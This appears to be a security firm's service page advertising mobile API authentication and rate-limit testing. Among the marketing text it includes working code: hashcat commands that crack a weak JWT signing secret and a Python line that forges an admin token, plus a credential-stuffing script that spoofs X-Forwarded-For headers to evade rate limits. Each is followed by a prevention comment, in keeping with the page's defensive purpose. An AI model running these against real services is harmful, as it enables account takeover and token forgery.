The Challenge
Mobile apps present unique API security challenges. The client binary is untrusted and extractable — anyone can decompile an APK or decrypt an IPA to reverse-engineer API calls and discover hardcoded credentials. Developers often respond to mobile network unreliability by disabling security controls that cause timeouts, trading security for reliability in ways that create permanent attack surfaces.
The same backend frequently serves both mobile and web clients, but with different trust assumptions the API doesn't actually enforce. Mobile clients are assumed to have already validated certain inputs — an assumption that breaks the moment an attacker bypasses the client and calls the API directly with Burp Suite or a Python script.
Credential stuffing attacks against mobile APIs are particularly destructive because mobile users reuse passwords at higher rates, rate limits are commonly absent or bypassed in seconds, and there's rarely behavioral anomaly detection to spot automated attacks until thousands of accounts have already been compromised.
Signs You Need This
- Your mobile app communicates with a backend that handles user accounts, payments, or personal data
- Your login endpoint has no account lockout or progressive delay after repeated failures
- JWT tokens are signed with a static secret that hasn't been rotated since launch
- API keys or base URLs are embedded directly in the mobile binary rather than fetched at runtime
- Rate limits are enforced only by IP address — trivially bypassed with X-Forwarded-For spoofing
- Token logout only deletes the JWT client-side without server-side invalidation
How We Approach It
Binary Analysis & Static Secrets Extraction
We obtain the mobile binary and perform static analysis using Jadx for Android decompilation and MobSF for cross-platform analysis. We search decompiled code for hardcoded API keys, base64-encoded secrets, endpoint URLs, and debug credentials left in the production binary. We also analyze network configuration to check for SSL pinning bypass opportunities. This phase often reveals secrets exposed to anyone who downloaded the app since the first public release — secrets that can't be rotated without a forced app update.
JWT Token Deep Analysis
We decode and analyze every JWT token the API issues, testing for algorithm confusion vulnerabilities (RS256-to-HS256 key confusion), the "none" algorithm acceptance where the signature is skipped entirely, and weak HMAC secrets brute-forced with hashcat using common password wordlists. We verify that required claims (exp, aud, iss, jti) are present and actually enforced server-side. A common finding is that development environment tokens are accepted by production endpoints, or that a token's user ID can be tampered with without triggering signature validation failures.
# Step 1: Capture a JWT from a login request (Burp Suite / mitmproxy)
TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0MiwiZXhwIjoxNzYwMDAwMDAwfQ.abc123"
# Step 2: Save token to file for hashcat
echo "$TOKEN" > jwt.txt
# Step 3: Brute-force with hashcat (mode 16500 = JWT HS256/384/512)
hashcat -a 0 -m 16500 jwt.txt \
/usr/share/wordlists/rockyou.txt \
--potfile-disable
# If the secret is "secret123" or "mysecretkey" — hashcat cracks it in seconds:
# eyJhbGci...:secret123
# Step 4: Forge a token with admin role using the cracked secret
python3 -c "
import jwt
token = jwt.encode({'user_id': 1, 'role': 'admin', 'exp': 9999999999},
'secret123', algorithm='HS256')
print(token)
"
# Prevention: use a cryptographically random 256-bit secret, rotate on breach,
# prefer RS256 (asymmetric) — private key stays server-side, can't be brute-forced
Authentication Bypass Testing
We systematically test authenticated endpoints without tokens (forced browsing), with expired tokens, with tokens from other users, and with crafted tokens containing modified payloads. We test parameter tampering to escalate roles — changing "role": "user" to "role": "admin" in request bodies to find mass assignment vulnerabilities. We check whether authentication errors differentiate between invalid username and incorrect password, and whether the API leaks account existence through timing differences, error messages, or HTTP status code variations.
Rate Limit Enumeration & Bypass Testing
We test rate limits on the highest-value targets: login endpoints (credential stuffing window), OTP verification (brute-force surface), password reset token submission (enumeration feasibility), and data-heavy endpoints (scraping feasibility). For each limit we find, we test bypass techniques: X-Forwarded-For and X-Real-IP header manipulation, HTTP/2 connection multiplexing to send bursts under a single connection, distributing requests across different API versions, and null byte injection in headers that some WAF configurations fail to normalize correctly.
Token Lifecycle & Session Management Validation
We verify the full token lifecycle: access tokens expire at the documented interval and are rejected after expiry, refresh tokens rotate on each use (preventing refresh token theft), tokens are invalidated server-side on logout (not just deleted client-side), and concurrent session limits are enforced if the application claims to support them. We test whether account password changes invalidate all existing sessions across all devices — a critical control for account takeover recovery that is frequently absent.
Rate Limit Bypass — X-Forwarded-For Spoofing
The most common rate limit bypass: the server trusts the client-supplied X-Forwarded-For header to identify the "real" IP, allowing an attacker to rotate through fake IPs and bypass per-IP limits entirely:
import requests, itertools
TARGET = "https://api.mobileapp.io/v1/auth/login"
VICTIM_EMAIL = "victim@example.com"
# Pulled from RockYou or common password list
PASSWORDS = ["password1", "Password123", "admin123", "Summer2024!"]
# Rotate fake IPs on each request to bypass per-IP rate limiting
fake_ips = (f"10.{a}.{b}.{c}" for a, b, c in itertools.product(
range(1, 254), range(1, 254), range(1, 254)
))
for password in PASSWORDS:
fake_ip = next(fake_ips)
resp = requests.post(TARGET,
json={"email": VICTIM_EMAIL, "password": password},
headers={
"X-Forwarded-For": fake_ip, # Server trusts this header
"X-Real-IP": fake_ip,
"User-Agent": "MobileApp/3.2.1 iOS/17"
}
)
if resp.status_code == 200:
print(f"[+] Success: {password}")
break
print(f"[-] {password}: {resp.status_code}")
# Result: 1000 attempts per minute with no lockout triggered
# Fix: enforce rate limits at the API Gateway layer on authenticated user identity,
# not on client-supplied headers. Never trust X-Forwarded-For from untrusted networks.
Tools We Use
Our mobile API security toolkit combines binary analysis, traffic interception, and custom scripting for controlled rate limit testing.
Common Mistakes We Prevent
- Rate limiting only on IP address while ignoring account-level limits — a distributed botnet bypasses IP limits entirely, but account-level lockout still protects users
- Logging out by deleting the JWT client-side without server-side invalidation — if the token is stolen via XSS, logout has zero effect and the session remains valid until expiry
- Using symmetric JWT secrets (HS256) with the same secret across all environments — a secret leaked from staging is also the production signing key
- Hardcoding API gateway keys in the app binary — these cannot be rotated without an app store update, and not all users update immediately, so the leaked credential remains active for months
Most common finding: Login endpoints with no rate limiting or lockout, allowing credential stuffing at thousands of attempts per minute. Combined with password reuse from publicly available breach databases, this enables account takeover at scale within hours — with no server-side indication that anything unusual is happening.
What You Get
- Auth security findings report covering JWT implementation, session management, and bypass testing results
- Rate limit assessment for all sensitive endpoints with documented bypass technique results and exploitability ratings
- Binary analysis report covering hardcoded credentials, exposed endpoints, and SSL pinning effectiveness
- Recommended API gateway rate limit configuration with code examples for AWS API Gateway, Kong, or Nginx
- JWT implementation recommendations specific to your technology stack and token architecture
- Prioritized remediation roadmap with CVSS scores and business impact descriptions for each finding
- Retest of all critical and high findings after your team implements fixes
Timeline & What to Expect
After the debrief, your team has a prioritized list of findings sorted by exploitability and business impact. We're available async during the remediation phase, and we schedule the retest once you've addressed critical and high findings — typically 2-4 weeks after handover.
Frequently Asked Questions
Do you need the app source code to test?
No. We work with just the compiled binary as an attacker would. Source code access does allow a more thorough SAST review and lets us trace specific code paths, so if you can provide it we'll use it — but the binary-only assessment is fully comprehensive for auth and rate limit testing since those are runtime behaviors we test dynamically.
How do you test rate limits without affecting real users?
We use dedicated test accounts, a staging environment that mirrors your production rate limit configuration, and carefully structured test scripts that avoid interfering with real user sessions. For production testing where staging isn't possible, we coordinate timing windows and use test account credentials. We're validating that limits work as documented — not launching actual attacks.
What if we use a third-party auth provider like Firebase or Auth0?
Third-party auth providers handle token issuance, but your backend still needs to correctly validate those tokens. We frequently find cases where backends accept tokens from any Firebase project (not just yours) or skip audience claim validation entirely. We test your backend's token validation logic — the provider may be secure, but misconfigured validation on your side is a full auth bypass regardless.
When This Is the Right Fit
This assessment is right for you if you have a mobile app in production or approaching launch that handles user accounts, financial transactions, or personal data. It's particularly valuable before a major public launch, after a backend architecture change, or when entering regulated markets where broken auth findings would be critical compliance failures.
This is not right if your API is purely public and stateless — no authentication, no user data, no rate-limited resources. In that case, the relevant testing is injection and data exposure, which falls under our VAPT service. If you're uncertain, book a scoping call and we'll tell you exactly what assessment makes sense.